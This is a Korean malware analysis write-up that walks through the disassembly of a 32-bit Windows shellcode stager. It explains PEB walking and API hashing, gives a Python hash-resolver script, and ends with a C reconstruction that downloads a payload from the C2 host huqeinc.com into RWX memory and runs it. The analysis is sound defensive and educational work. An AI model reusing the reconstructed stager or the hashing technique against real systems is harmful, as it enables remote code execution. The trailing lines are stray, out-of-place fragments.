- 오프셋 0xc는 `PEB`의 `LDR` 멤버이며, 타입은 `PPEB_LDR_DATA`입니다. 이는 [여기](https://learn.microsoft.com/en-us/windows/win32/api/winternl/ns-winternl-peb_ldr_data)에 문서화되어 있습니다.
- `PEB_LDR_DATA` 구조체의 오프셋 0x14는 `InMemoryOrderModuleList` 멤버이며, 타입은 `LIST_ENTRY`입니다. `LIST_ENTRY` 구조체는 Windows에서 광범위하게 사용되며, 보통 더 큰 구조체의 헤더 역할을 합니다. 이 경우도 예외는 아닙니다. 실제 항목 타입은 `LDR_DATA_TABLE_ENTRY`입니다.
- `LDR_DATA_TABLE_ENTRY`의 오프셋 0x24에는 `UNICODE_STRING` 타입의 `FullDllName` 멤버가 있습니다. 이 타입은 Windows에서 널리 사용되며, 기본적으로 파스칼 문자열을 담는 컨테이너입니다. 처음 두 WORD는 문자열의 길이와 버퍼 용량을 나타냅니다. 따라서 0x28에서 실제 버퍼에 바인딩되며, 이는 `esi` 레지스터에 저장됩니다.
- `ecx` 레지스터는 DLL 이름 버퍼 바로 2바이트 앞에 있으며 문자열의 길이를 포함합니다.
요약하면, 이 청크 전체는 현재 PEB 모듈 항목에서 `FullDllName`을 가져와 버퍼를 `esi`에, 길이를 `ecx`에 저장합니다.
## 모듈 이름 해시 계산
다음 몇 개의 명령어를 살펴보겠습니다:```assembly
0x000000000000001c: 31 FF xor edi, edi
0x000000000000001e: 31 C0 xor eax, eax
0x0000000000000020: AC lodsb al, byte ptr [esi]
0x0000000000000021: 3C 61 cmp al, 0x61
0x0000000000000023: 7C 02 jl 0x27
0x0000000000000025: 2C 20 sub al, 0x20
0x0000000000000027: C1 CF 0D ror edi, 0xd
0x000000000000002a: 01 C7 add edi, eax
0x000000000000002c: E2 F0 loop 0x1e
The lodsb 명령어는 문자열이 esi에 저장된 이유, 길이가 ecx에 저장된 이유, 방향 플래그가 초기화된 이유를 정확히 설명한다.
이 명령어는 esi가 가리키는 첫 번째 ANSI 문자(바이트)를 읽고, esi를 1만큼 증가시킨 다음 결과를 al 레지스터에 저장한다.
이후 부분은 소문자를 대문자로 변환한다. ASCII 코드가 0x61('a') 이상이면 0x20을 뺀다.
대문자로 변환한 후 edi 레지스터는 오른쪽으로 0xd만큼 회전되고, 그런 다음 문자 값이 더해진다.
edi는 회전되므로 더해진 문자들에 대한 정보는 잃어버리지만 그 값에는 문자들의 일종의 집계(aggregate)가 유지된다.
다시 말해, edi는 esi가 가리키는 문자열의 일종의 해시다. 그런데 loop 명령어는 ecx가 문자열 길이의 카운터라는 사실을 교묘하게 활용한다. ecx를 1 감소시키고 ecx가 0이 아닌 동안 다음 반복을 수행한다.
이 로직을 Python으로 옮기는 것은 아주 간단하다.```python
def get_string_hash(s):
v = 0
for c in s.upper():
v = (v >> 0xd) | ((v & 0x1fff) << 19)
v = (v + ord(c)) & 0xffffffff
return v
## Export Table 순회하기
이제 다음 몇 가지 명령어로 넘어가겠습니다:```assembly
0x000000000000002e: 52 push edx
0x000000000000002f: 57 push edi
0x0000000000000030: 8B 52 10 mov edx, dword ptr [edx + 0x10]
0x0000000000000033: 8B 42 3C mov eax, dword ptr [edx + 0x3c]
0x0000000000000036: 01 D0 add eax, edx
0x0000000000000038: 8B 40 78 mov eax, dword ptr [eax + 0x78]
0x000000000000003b: 85 C0 test eax, eax
0x000000000000003d: 74 4A je 0x89
0x000000000000003f: 01 D0 add eax, edx
0x0000000000000041: 50 push eax
0x0000000000000042: 8B 48 18 mov ecx, dword ptr [eax + 0x18]
0x0000000000000045: 8B 58 20 mov ebx, dword ptr [eax + 0x20]
0x0000000000000048: 01 D3 add ebx, edx
먼저, edx(현재 모듈 엔트리를 담고 있음)와 edi(그 이름의 해시를 담고 있음)가 스택에 백업됩니다.
그 후, edx는 오프셋 0x10에서 참조됩니다. 구조체(LDR_DATA_TABLE_ENTRY 타입)에서 8바이트 지점에 있으므로, 0x10은 해당 엔트리의 DllBase 멤버입니다 (0x18 - 0x8).
메모리에서도 모듈은 PE 데이터 구조를 가지며, 오프셋 0x3c는 DOS 헤더에서 PE 헤더의 포인터에 해당합니다.
edx에 edx 자신을 더하고 있으므로 eax가 RVA로 처리되는 것을 볼 수 있습니다. edx는 메모리에서 모듈 베이스 주소입니다.
마찬가지로, 그로부터 오프셋 0x78은 PE 익스포트 테이블로, exported symbols(일반적으로 함수)에 대한 정보를 포함합니다.
이에 대한 데이터 구조는 IMAGE_EXPORT_DIRECTORY라고 하며 잘 문서화되어 있습니다.
0이 아니라고 가정하면(test되고 있음) 를 푸시하고 그 안의 두 부분을 역참조합니다:
NumberOfNames 멤버를 얻습니다.AddressOfNames 멤버를 얻습니다.
요약하면, 이 부분은 익스포트 테이블을 얻기 위해 PE를 일부 파싱했으며, 구체적으로 exported symbols의 개수(ecx)와 메모리에서의 주소(ebx)를 얻었습니다.계속합니다:```assembly 0x000000000000004a: E3 3C jecxz 0x88 0x000000000000004c: 49 dec ecx 0x000000000000004d: 8B 34 8B mov esi, dword ptr [ebx + ecx*4] 0x0000000000000050: 01 D6 add esi, edx
`jecxz` 명령어는 `ecx`가 0이면 점프한다. 이는 내보낸 이름이 없을 때 발생하지만, 이 검사가 루프 안에서 일어날 것임을 암시하기도 한다.
`ecx`를 감소시키는 사실은 그 의심을 확정해 준다. 내보낸 모든 심볼을 반복하면서 어떤 조건과 일치하는지 확인하는 구조가 예상된다.
`ecx`에 4를 곱하고 `ebx`에 더하는 것도 볼 수 있다. `AddressOfNames`의 모든 항목은 심볼 이름에 대한 RVA이므로, 결국 `esi`는 내보낸 이름을 가리키게 된다.```assembly
0x0000000000000052: 31 FF xor edi, edi
0x0000000000000054: 31 C0 xor eax, eax
0x0000000000000056: AC lodsb al, byte ptr [esi]
0x0000000000000057: C1 CF 0D ror edi, 0xd
0x000000000000005a: 01 C7 add edi, eax
0x000000000000005c: 38 E0 cmp al, ah
0x000000000000005e: 75 F4 jne 0x54
이는 앞서 본 것과 동일한 해시 계산 방식이지만, 카운터로 ecx를 사용하는 대신 NUL 종결자를 만날 때까지 해시를 계산합니다:
edi는 0으로 할당됩니다(자체 XOR을 통해). 앞서와 마찬가지로 edi는 해시 값을 유지합니다.eax 레지스터도 0으로 할당됩니다. 그 하위 바이트(al)는 각 반복에서 현재 문자의 ASCII 코드를 담게 됩니다.lodsb를 사용하여 코드는 al을 esi가 가리키는 바이트로 설정하고 esi를 다음 바이트로 증가시킵니다.edi는 0xd만큼 오른쪽 회전된 다음 현재 문자의 ASCII 값이 더해집니다.al과 ah의 비교는 실제로 al을 0(NUL 종결자)과 비교하는 것뿐입니다. 여기서 어떤 연산도 eax의 다른 바이트를 건드리지 않으며, 그것들이 0임을 확인했기 때문입니다.loop 명령어(ecx와 상호작용)를 사용하는 대신, NUL 종결자를 만나지 않는 한 단순히 로 다시 점프합니다.다음 부분에서는 앞서 계산한 서로 다른 해시들(모듈 이름, 심볼 이름)과 우리가 받은 입력들 사이에 어떤 종류의 비교가 수행될 것으로 예상합니다:```assembly
0x0000000000000060: 03 7D F8 add edi, dword ptr [ebp - 8]
0x0000000000000063: 3B 7D 24 cmp edi, dword ptr [ebp + 0x24]
0x0000000000000066: 75 E2 jne 0x4a
0x0000000000000068: 58 pop eax
0x0000000000000069: 8B 58 24 mov ebx, dword ptr [eax + 0x24]
0x000000000000006c: 01 D3 add ebx, edx
0x000000000000006e: 66 8B 0C 4B mov cx, word ptr [ebx + ecx2]
0x0000000000000072: 8B 58 1C mov ebx, dword ptr [eax + 0x1c]
0x0000000000000075: 01 D3 add ebx, edx
0x0000000000000077: 8B 04 8B mov eax, dword ptr [ebx + ecx4]
0x000000000000007a: 01 D0 add eax, edx
0x000000000000007c: 89 44 24 24 mov dword ptr [esp + 0x24], eax
0x0000000000000080: 5B pop ebx
0x0000000000000081: 5B pop ebx
0x0000000000000082: 61 popad
0x0000000000000083: 59 pop ecx
0x0000000000000084: 5A pop edx
0x0000000000000085: 51 push ecx
0x0000000000000086: FF E0 jmp eax
음, `ebp-8`은 우리가 푸시한 이전 `edi` 값을 정확히 가리킵니다. 여기에는 설정된 모듈 이름의 해시가 포함되어 있었습니다.
그 해시 값을 내보낸 이름의 해시 값과 더하고, 이를 `ebp+0x24`의 DWORD와 비교합니다.
이전의 `pushad` 명령 때문에 8개의 레지스터를 푸시했으므로, 이는 시작 부분에서 푸시된 마지막 미스터리 값(0x726774c)을 직접 가리킵니다!
만약 같지 않다면 오프셋 `0x4a`로 점프하여 같은 모듈의 다음 심볼로 이동합니다.
그렇지 않으면 내보내기 테이블을 `eax`로 복원하고, 0x24 바이트 지점(서수 테이블)을 역참조한 다음 기준 `ebx`에 더합니다.
서수 테이블은 각 항목마다 2바이트를 포함하며, `ecx`는 항목 번호이므로 `ebx + ecx*2`가 서수 값입니다.
다음 두 줄은 간단합니다. 내보내기 테이블의 `0x1c`는 내보낸 함수들의 주소이고, `ebx + ecx*4`는 `ecx`로 인덱싱된 함수 주소를 나타냅니다.
보시다시피 이 값은 `eax`에 저장되고 결국 호출됩니다:
- `eax` 값을 `esp + 0x24`에 저장합니다. 이 시점에서 이 위치는 정확히 `pushad` 명령에서 `eax` 레지스터가 저장된 곳입니다. 이렇게 하면 `popad`를 실행할 때 `eax` 값이 손실되지 않습니다.
- 두 번의 더미 팝을 `ebx`에 수행하여 이전의 두 푸시(계산된 해시와 모듈 엔트리)를 제거합니다.
- `popad`를 수행하면 범용 레지스터가 모두 스택에서 복원되지만, 앞서 덮어썼기 때문에 `eax`는 유지됩니다. 이 시점에서 스택과 레지스터들은 함수에 진입했을 때의 원래 상태와 동일하며, `eax`만 원하는 함수 포인터입니다.
- `call ebp`에서 푸시된 반환 값을 `ecx`로 팝하고 원하는 해시를 `edx`로 팝한 다음 `ecx`를 다시 푸시하여, 본질적으로 스택에서 미스터리 해시 값을 제거합니다.
- 이 시점에서 `jmp eax`를 수행하면 함수가 종료됩니다. `eax`가 가리키는 함수가 실행되고, 반환될 때 원래 반환 값을 사용합니다.
이 긴 로직의 마지막 부분은 기본적으로 다음 모듈로 계속 진행됩니다:```assembly
0x0000000000000088: 58 pop eax
0x0000000000000089: 5F pop edi
0x000000000000008a: 5A pop edx
0x000000000000008b: 8B 12 mov edx, dword ptr [edx]
0x000000000000008d: EB 86 jmp 0x15
이것은 기본적으로 이전 푸시들을 정리하고 오프셋 0x15로 이동하며, 여기서 다음 모듈이 사용될 예정입니다.
요약하자면 - 오프셋 6과 0x8d(포함) 사이의 전체 셸코드는 함수를 위한 파라미터가 푸시된 후 사용자 정의 해시가 뒤따를 것으로 기대합니다. 해시가 일치하면 해당 함수가 호출됩니다. 확실히 코드에 함수 이름 문자열을 넣지 않아도 되는 좋은 방법입니다!
우리는 그 해시들을 꽤 많이 검토할 것이므로 작업을 자동화하는 것이 좋습니다. 앞서 작성한 Python 스크립트를 재사용하여 주어진 해시를 조회하는 함수를 작성해 봅시다:```python import os import pefile import sys
BASE_DIR = os.path.join(os.environ['WINDIR'], 'system32')
def get_string_hash(s): v = 0 for c in s: v = (v >> 0xd) | ((v & 0x1fff) << 19) v = (v + ord(c)) & 0xffffffff return v
def get_lib_hash(s): return get_string_hash(''.join([ i + '\x00' for i in (s + '\x00').upper() ]))
def get_sym_hash(s): return get_string_hash(s + '\x00')
def find_by_hash(hash, dll_postfix): for dll_name in os.listdir(BASE_DIR): if not dll_name.endswith(dll_postfix): continue dll_path = os.path.join(BASE_DIR, dll_name) dll_hash = get_lib_hash(dll_name) pe = pefile.PE(dll_path) if pe is None or not hasattr(pe, 'DIRECTORY_ENTRY_EXPORT'): continue syms = [ sym.name.decode() for sym in pe.DIRECTORY_ENTRY_EXPORT.symbols if sym.name is not None ] for s in syms: if (get_sym_hash(s) + dll_hash) & 0xFFFFFFFF == hash: print('%s!%s' % (dll_name, s)) return print('Coult not find hash!')
if name == 'main': if len(sys.argv) > 1: dll_postfix = '.dll' if len(sys.argv) == 2 else sys.argv[2] num = int(sys.argv[1], 16) if 'x' in sys.argv[1] else int(sys.argv[1]) find_by_hash(num, dll_postfix)
예를 들어, `get_hash.py 0x726774c kernel32.dll`을 실행하면 `kernel32.dll!LoadLibraryA`라는 출력을 얻습니다!
## 기본 논리 분석
이제 전체 해싱 기능이 어떻게 작동하는지 이해했으니 해시 헌팅을 할 시간입니다!
기본 논리로 돌아가 보겠습니다. 문자열 `wininet`이 스택에 푸시된다고 했었죠 - 이제 `LoadLibraryA`가 그것과 함께 호출된다는 것을 알 수 있습니다.
다음 부분들은 이제 다음과 같습니다:```assembly
0x00000000000000a2: E8 00 00 00 00 call 0xa7
0x00000000000000a7: 31 FF xor edi, edi
0x00000000000000a9: 57 push edi
0x00000000000000aa: 57 push edi
0x00000000000000ab: 57 push edi
0x00000000000000ac: 57 push edi
0x00000000000000ad: 57 push edi
0x00000000000000ae: 68 3A 56 79 A7 push 0xa779563a
0x00000000000000b3: FF D5 call ebp
그곳의 call은 스택에 반환 주소를 푸시합니다(0xa7).
그런 다음 edi를 0으로 만들고 스택에 0 5개를 넣습니다. 0xa779563a는 또 다른 해시로, 이번에는 wininet.dll에 대한 것입니다. get_hash.py 0xa779563a를 실행하면 wininet.dll!InternetOpenA가 출력됩니다.
따라서 코드는 모두 0과 NULL 값을 사용하여 InternetOpenA를 호출합니다.
오프셋 0xba로 다시 호출되는 몇 개의 점프가 있습니다:```assembly
0x00000000000000b5: E9 A4 00 00 00 jmp 0x15e
0x00000000000000ba: 5B pop ebx
...
0x000000000000015e: E9 C9 01 00 00 jmp 0x32c
...
0x000000000000032c: E8 89 FD FF FF call 0xba
0x0000000000000331: 68 75 71 65 69 push 0x69657175
0x0000000000000336: E6 outs dx, byte ptr ds:[esi]
...
아이디어는 우리가 리턴할 때 - 오프셋 `0x331`의 주소가 푸시되어 있을 것이라는 것입니다.
나는 그 주소에 몇 가지 어셈블리 명령어를 추가했습니다. 예를 들어 `outs`는 우리가 기대하는 것이 아니라는 점에 유의하세요.
그 바이트들을 *데이터로* 검사하면 다른 이야기가 나옵니다:```python
binascii.unhexlify('68757165696e632e636f6d005d44fd6d')
이것은 문자열 huqeinc.com(NUL 종결자 포함)을 생성하고, 그 뒤에 이해할 수 없는 4바이트가 옵니다.
따라서 주소 0xba로 돌아가면 ebx로 pop하게 되며, 이는 해당 문자열을 가리키게 됩니다.
이제 그 명령어 뒤에 이어지는 부분을 살펴보겠습니다.```assembly
0x00000000000000bb: 31 C9 xor ecx, ecx
0x00000000000000bd: 51 push ecx
0x00000000000000be: 51 push ecx
0x00000000000000bf: 6A 03 push 3
0x00000000000000c1: 51 push ecx
0x00000000000000c2: 51 push ecx
0x00000000000000c3: 68 BB 01 00 00 push 0x1bb
0x00000000000000c8: 53 push ebx
0x00000000000000c9: 50 push eax
0x00000000000000ca: 68 57 89 9F C6 push 0xc69f8957
0x00000000000000cf: FF D5 call ebp
값 `0xc69f8957`은 이번에는 `wininet.dll!InternetConnectA`에 대한 또 다른 해시입니다.
그 함수는 많은 매개변수를 받지만, 본질적으로 우리가 보는 것은 `InternetConnectA(hInternet, "huqeinc.com", 443, NULL, NULL, INTERNET_SERVICE_HTTP, 0, NULL)`입니다.
참고로 `INTERNET_SERVICE_HTTP`는 3이고, `0x1bb`는 443이며, `eax`에는 `InternetOpenA`의 결과가 들어 있었습니다.
계속 진행하면, `InternetConnectA`의 결과를 백업한 후에도 비슷한 점프 집합이 나타납니다:```assembly
0x00000000000000d1: 50 push eax
0x00000000000000d2: E9 8C 00 00 00 jmp 0x163
0x00000000000000d7: 5B pop ebx
0x00000000000000d8: 31 D2 xor edx, edx
0x00000000000000da: 52 push edx
0x00000000000000db: 68 00 32 C0 84 push 0x84c03200
0x00000000000000e0: 52 push edx
0x00000000000000e1: 52 push edx
0x00000000000000e2: 52 push edx
0x00000000000000e3: 53 push ebx
0x00000000000000e4: 52 push edx
0x00000000000000e5: 50 push eax
0x00000000000000e6: 68 EB 55 2E 3B push 0x3b2e55eb
0x00000000000000eb: FF D5 call ebp
...
0x0000000000000163: E8 6F FF FF FF call 0xd7
0x0000000000000168: 2F das
0x0000000000000169: 51 push ecx
0x000000000000016a: 70 59 jo 0x1c5
...
이전과 마찬가지로, 호출 이후의 명령어들은 별로 말이 되지 않으므로 데이터로 해석되어야 한다고 추정합니다.
실제로 이들은 NUL로 종료되는 문자열 /QpYB를 인코딩하며, 이는 그다지 도움이 되지 않습니다. 오프셋 0xd7로 돌아가면 해당 문자열을 가리키는 포인터가 스택에 푸시된다는 점을 확인할 수 있습니다.
0xd7로 돌아가보면, 그 주소는 ebx로 팝됩니다. 그 데이터의 의미를 이해하려면 어떤 함수가 호출되는지 알아내야 합니다.
해시 0x3b2e55eb는 wininet.dll!HttpOpenRequestA를 산출하며, 이 함수도 많은 매개변수를 받습니다.
대부분의 매개변수는 (edx의 푸시로 인해) NULL이 될 것이며, 다음 항목은 예외입니다:
hConnect는 eax이며, 이는 InternetConnectA의 결과입니다.lpszObjectName은 우리가 본 문자열(/QpYB)입니다.dwFlags는 0x84c03200 값을 포함합니다. 이 문서에 따르면 이는 INTERNET_FLAG_NO_UI | INTERNET_FLAG_IGNORE_CERT_CN_INVALID | INTERNET_FLAG_IGNORE_CERT_DATE_INVALID | INTERNET_FLAG_KEEP_CONNECTION | INTERNET_FLAG_SECURE | INTERNET_FLAG_DONT_CACHE | INTERNET_FLAG_RELOAD입니다.다음 몇 개의 명령어는 또 다른 API 호출로 끝납니다:```assembly 0x00000000000000ed: 89 C6 mov esi, eax 0x00000000000000ef: 83 C3 50 add ebx, 0x50 0x00000000000000f2: 68 80 33 00 00 push 0x3380 0x00000000000000f7: 89 E0 mov eax, esp 0x00000000000000f9: 6A 04 push 4 0x00000000000000fb: 50 push eax 0x00000000000000fc: 6A 1F push 0x1f 0x00000000000000fe: 56 push esi 0x00000000000000ff: 68 75 46 9E 86 push 0x869e4675 0x0000000000000104: FF D5 call ebp
`HttpOpenRequestA`의 결과를 `esi`에 백업한 후, `ebx`에 0x50을 더합니다.
`ebx`는 호출 사이에 유지되는 것이 보장되므로, 이제 셸코드의 오프셋 `0x1b8`을 가리키게 됩니다. 이 오프셋을 문자열로 표시하면 다음과 같습니다: `User-Agent: Microsoft-CryptoAPI/6.1\r\n`.
해시 `0x869e4675`는 API `wininet.dll!InternetSetOptionA`를 해석하며, 이 API는 다음 인수를 받습니다:
- `esi`에 저장된 요청 핸들.
- `dwOption` 값으로 `0x1f`를 사용하는데, [이 문서](https://learn.microsoft.com/en-us/windows/win32/wininet/option-flags)에 따르면 이는 `INTERNET_OPTION_SECURITY_FLAGS`입니다.
- `lpBuffer` 매개변수는 값 `0x3380`을 가리키는 포인터가 되며, 이는 요청에 대한 보안 플래그를 인코딩합니다: `WINHTTP_FLAG_SECURE_PROTOCOL_TLS1 | SECURITY_FLAG_IGNORE_UNKNOWN_CA | WINHTTP_FLAG_SECURE_PROTOCOL_TLS1_1 | SECURITY_FLAG_IGNORE_CERT_CN_INVALID | SECURITY_FLAG_IGNORE_CERT_DATE_INVALID`.
- `dwBufferLength`는 4입니다. `lpBuffer`에는 DWORD 하나만 설정되었기 때문입니다.
이렇게 하면 연결이 TLS를 사용하지만 모든 인증서 오류 등을 무시하게 됩니다.
다음은 다음 부분들입니다:```assembly
0x0000000000000106: 5F pop edi
0x0000000000000107: 31 FF xor edi, edi
0x0000000000000109: 57 push edi
0x000000000000010a: 57 push edi
0x000000000000010b: 6A FF push -1
0x000000000000010d: 53 push ebx
0x000000000000010e: 56 push esi
0x000000000000010f: 68 2D 06 18 7B push 0x7b18062d
0x0000000000000114: FF D5 call ebp
0x0000000000000116: 85 C0 test eax, eax
0x0000000000000118: 0F 84 CA 01 00 00 je 0x2e8
0x000000000000011e: 31 FF xor edi, edi
0x0000000000000120: 85 F6 test esi, esi
0x0000000000000122: 74 04 je 0x128
0x0000000000000124: 89 F9 mov ecx, edi
0x0000000000000126: EB 09 jmp 0x131
0x0000000000000128: 68 AA C5 E2 5D push 0x5de2c5aa
0x000000000000012d: FF D5 call ebp
0x000000000000012f: 89 C1 mov ecx, eax
0x0000000000000131: 68 45 21 5E 31 push 0x315e2145
0x0000000000000136: FF D5 call ebp
0x0000000000000138: 31 FF xor edi, edi
0x000000000000013a: 57 push edi
0x000000000000013b: 6A 07 push 7
0x000000000000013d: 51 push ecx
0x000000000000013e: 56 push esi
0x000000000000013f: 50 push eax
0x0000000000000140: 68 B7 57 E0 0B push 0xbe057b7
0x0000000000000145: FF D5 call ebp
0x0000000000000147: BF 00 2F 00 00 mov edi, 0x2f00
0x000000000000014c: 39 C7 cmp edi, eax
0x000000000000014e: 75 07 jne 0x157
0x0000000000000150: 58 pop eax
0x0000000000000151: 50 push eax
0x0000000000000152: E9 7B FF FF FF jmp 0xd2
0x0000000000000157: 31 FF xor edi, edi
0x0000000000000159: E9 91 01 00 00 jmp 0x2ef
이전의 과도한 push를 정리하기 위한 더미 pop이 있습니다(보안 옵션을 스택에 푸시했었습니다).
또 다른 해시(0x7b18062d)가 보이므로, 해당 API를 즉시 확인합니다: wininet.dll!HttpSendRequestA.
여기서 주목할 만한 부분이 몇 가지 있습니다:
ebx에 저장된 사용자 에이전트가 함수의 두 번째 인자로 사용됩니다.0x2e8로 점프합니다.esi가 0인지 확인하는 것은 실제로 요청 핸들이 NULL이 아닌지 확인하는 것입니다. 이 시점에서 이미 HttpSendRequestA를 호출했음에도 불구하고 꽤 이상하지만, 그렇다면 0x128로 점프합니다.0x128에서는 해시 0x5de2c5aa를 사용하는데, 이는 kernel32.dll!GetLastError이며, 그 결과를 ecx에 저장합니다.0x131에서는 해시 0x315e2145를 사용하는데, 이는 user32.dll!GetDesktopWindow이며, 그 결과를 해시 0xbe057b7과 함께 사용합니다. 0xbe057b7은 입니다.아이디어는 단순히 InternetErrorDlg를 호출하여 재시도가 필요한지 확인하는 것입니다.
또한 기억해 둡시다: HttpSendRequestA가 실패하면 0x2e8로 점프합니다. 성공하고 재시도가 필요하지 않으면 0x2ef로 점프합니다.
오프셋 0x2e8(실패 경로)을 살펴봅니다:```assembly
0x00000000000002e8: 68 F0 B5 A2 56 push 0x56a2b5f0
0x00000000000002ed: FF D5 call ebp
해시는 `kernel32.dll!ExitProcess`로 해석되므로, 실패 시 프로세스를 종료합니다.
이 전체 부분은 다음과 같이 번역될 수 있습니다:```c
if (!HttpSendRequestA(hRequest, "User-Agent: Microsoft-CryptoAPI/6.1\r\n", -1, NULL, 0))
{
ExitProcess(0);
}
if (ERROR_INTERNET_FORCE_RETRY == InternetErrorDlg(GetDesktopWindow(), hRequest, NULL == hRequest ? GetLastError() : 0, FLAGS_ERROR_UI_FILTER_FOR_ERRORS | FLAGS_ERROR_UI_FLAGS_CHANGE_OPTIONS | FLAGS_ERROR_UI_FLAGS_GENERATE_DATA, NULL))
{
goto lblRetryConn;
}
...
0x2ef 오프셋에서 어떤 일이 발생하는지 살펴보겠습니다:```assembly
0x00000000000002ef: 6A 40 push 0x40
0x00000000000002f1: 68 00 10 00 00 push 0x1000
0x00000000000002f6: 68 00 00 40 00 push 0x400000
0x00000000000002fb: 57 push edi
0x00000000000002fc: 68 58 A4 53 E5 push 0xe553a458
0x0000000000000301: FF D5 call ebp
0x0000000000000303: 93 xchg ebx, eax
0x0000000000000304: B9 00 00 00 00 mov ecx,0x0
0x0000000000000309: 01 D9 add ecx,ebx
0x000000000000030b: 51 push ecx
0x000000000000030c: 53 push ebx
0x000000000000030d: 89 E7 mov edi, esp
0x000000000000030f: 57 push edi
0x0000000000000310: 68 00 20 00 00 push 0x2000
0x0000000000000315: 53 push ebx
0x0000000000000316: 56 push esi
0x0000000000000317: 68 12 96 89 E2 push 0xe2899612
0x000000000000031c: FF D5 call ebp
0x000000000000031e: 85 C0 test eax, eax
0x0000000000000320: 74 C6 je 0x2e8
이 해시 `0xe553a458`가 다른 상수들만으로 무엇인지 짐작할 수 있나요?
- `0x40`은 앞서 보았듯이 `PAGE_EXECUTEREADWRITE`입니다.
- `0x1000`은 `MEM_COMMIT`입니다.
실제로 이 해시는 `kernel32.dll!VirtualAlloc`에 해당하며, 크기 `0x400000`의 RWX 청크를 단순히 할당합니다.
여기서 공격자의 논리를 짐작하는 것이 중요합니다. C2 서버와 인터넷 연결이 있고, 이제 RWX 페이지를 할당하므로 또 다른 페이로드가 올 것이라고 예상할 수 있습니다!
해당 호출이 끝나면 결과 메모리 버퍼는 `ebx`와 `ecx`에 저장됩니다.
오프셋 `0x30b`에서 함수 호출을 위한 또 다른 스택 푸시 세트가 시작됩니다. 이번에는 해시 `0xe2899612`(`wininet.dll!InternetReadFile`)입니다.
푸시들은 매개변수를 (역순으로) 지정합니다:
- `hFile`은 `esi`로, 우리의 인터넷 요청(`HINTERNET` 타입)입니다.
- `lpBuffer`는 `ebx` - 새로 할당된 버퍼입니다.
- `dwNumberOfBytesToRead`는 `0x2000`으로 설정됩니다.
- `lpdwNumberOfBytesRead`는 `edi`로, 스택에 할당한 여유 공간을 가리킵니다.
마지막으로, 이 함수가 실패하면 `0x2e8`로 점프하여 다시 `ExitProcess`를 호출합니다.
여분의 `push` 명령어(`ecx`, 오프셋 `0x30b`)가 있다는 점에 유의하세요. 이는 할당된 버퍼의 주소를 백업했다는 뜻입니다.
거의 끝났습니다! 마지막 몇 개의 명령어를 살펴봅시다:```assembly
0x0000000000000322: 8B 07 mov eax, dword ptr [edi]
0x0000000000000324: 01 C3 add ebx, eax
0x0000000000000326: 85 C0 test eax, eax
0x0000000000000328: 75 E5 jne 0x30f
0x000000000000032a: 58 pop eax
0x000000000000032b: C3 ret
음, edi는 읽은 바이트 수를 가리키며, 역참조되어 eax로 들어갑니다.
그런 다음, 그 값을 ebx에 더합니다. ebx는 보존되며 우리의 RWX 메모리 영역을 가리킵니다.
만약 eax가 0이 아니라면 일부 바이트가 읽혔다는 뜻이므로, 더 많은 데이터를 읽기 위해 다시 0x30f로 점프합니다.
이는 읽기 시나리오에서 흔한 방식입니다. 0이 읽힐 때까지 매번 최대 0x2000 바이트를 읽습니다. 0이 읽히면 더 이상 읽을 바이트가 없다는 뜻입니다.
점프하지 않으면 0x32a에 도달하는데, 여기서 스택에서 할당된 바이트를 pop하고 ret를 호출합니다.
참고로, 우리는 이전에 반환된 버퍼의 시작 부분을 스택에 푸시했으므로, ret는 이를 반환 주소로 사용합니다.
즉, 우리가 얻은 버퍼로 점프하는 것이며, 본질적으로 그것을 또 다른 셸코드로 취급하는 것입니다!
이것이 우리의 셸코드가 개념적으로 보여질 모습입니다:```c HINTERNET hInternet; HINTERNET hConnect; HINTERNET hRequest; DWORD dwSecurityOptions = WINHTTP_FLAG_SECURE_PROTOCOL_TLS1 | SECURITY_FLAG_IGNORE_UNKNOWN_CA | WINHTTP_FLAG_SECURE_PROTOCOL_TLS1_1 | SECURITY_FLAG_IGNORE_CERT_CN_INVALID | SECURITY_FLAG_IGNORE_CERT_DATE_INVALID; DWORD dwErrorFlags = FLAGS_ERROR_UI_FILTER_FOR_ERRORS | FLAGS_ERROR_UI_FLAGS_CHANGE_OPTIONS | FLAGS_ERROR_UI_FLAGS_GENERATE_DATA; PBYTE pcPayload; PBYTE pcCurrPtr; DWORD dwBytesRead; INT (*pfnPayload)();
// Make sure "wininet.dll" is loaded in current process LoadLibraryA("wininet");
// Connect to C2 hInternet = InternetOpenA(NULL, 0, NULL, NULL, 0); hConnect = InternetConnectA(hInternet, "huqeinc.com", 443, NULL, NULL, INTERNET_SERVICE_HTTP, 0, NULL);
// Attempt to create a request to C2 do { hRequest = HttpOpenRequestA(hConnect, NULL, "/QpYB", NULL, NULL, NULL, INTERNET_FLAG_NO_UI | INTERNET_FLAG_IGNORE_CERT_CN_INVALID | INTERNET_FLAG_IGNORE_CERT_DATE_INVALID | INTERNET_FLAG_KEEP_CONNECTION | INTERNET_FLAG_SECURE | INTERNET_FLAG_DONT_CACHE | INTERNET_FLAG_RELOAD, NULL); InternetSetOptionA(hRequest, INTERNET_OPTION_SECURITY_FLAGS, &dwSecurityOptions, sizeof(dwSecurityOptions)); if (!HttpSendRequestA(hRequest, "User-Agent: Microsoft-CryptoAPI/6.1\r\n", -1, NULL, 0)) { ExitProcess(0); } } while (ERROR_INTERNET_FORCE_RETRY == InternetErrorDlg(GetDesktopWindow(), hRequest, NULL == hRequest ? GetLastError() : 0, dwErrorFlags, NULL));
// Allocate RWX payload pcPayload = VirtualAlloc(NULL, 0x400000, MEM_COMMIT, PAGE_EXECUTEREADWRITE);
// Read payload from the C2 pcCurrPtr = pcPayload; do { if (!InternetReadFile(hRequest, pcCurrPtr, 0x2000, &dwBytesRead)) { ExitProcess(0); } pcCurrPtr += dwBytesRead; } while (0 < dwBytesRead);
// Execute payload pfnPayload = (INT(*)())pcPayload; pfnPayload();
## 요약
살펴볼 매우 흔한 셸코드이지만, 이를 정적으로 분석하는 것은 학습에 도움이 됩니다:
- 우리는 32비트 셸코드를 얻기 위해 여러 계층의 PowerShell 코드를 추출했습니다.
- 셸코드 분석 과정에서 Windows의 `PEB`와 셸코딩 전략에 대해 논의했습니다.
- 리버스 해시 조회 도구를 만들었습니다 (이 저장소의 `get_hash.py` 참조).
- `push-ret` 및 `call-pop`과 같은 일반적인 셸코드 기법에 대해 논의했습니다.
- `PE` 파일 구조의 일부를 다뤘습니다.
감사합니다,
Jonathan Bar Or (https://jonathanbaror.com)
$var_code의 페이로드(base64 디코딩 후 상수 35로 XOR된 것)는 버퍼에 복사된 다음 실행됩니다($var_runme 델리게이트로 수행).$DoIt을 실행합니다.eaxjnewininet.dll!InternetErrorDlg0x2f00은 ERROR_INTERNET_FORCE_RETRY이며, InternetErrorDlg의 결과를 이 값과 비교합니다.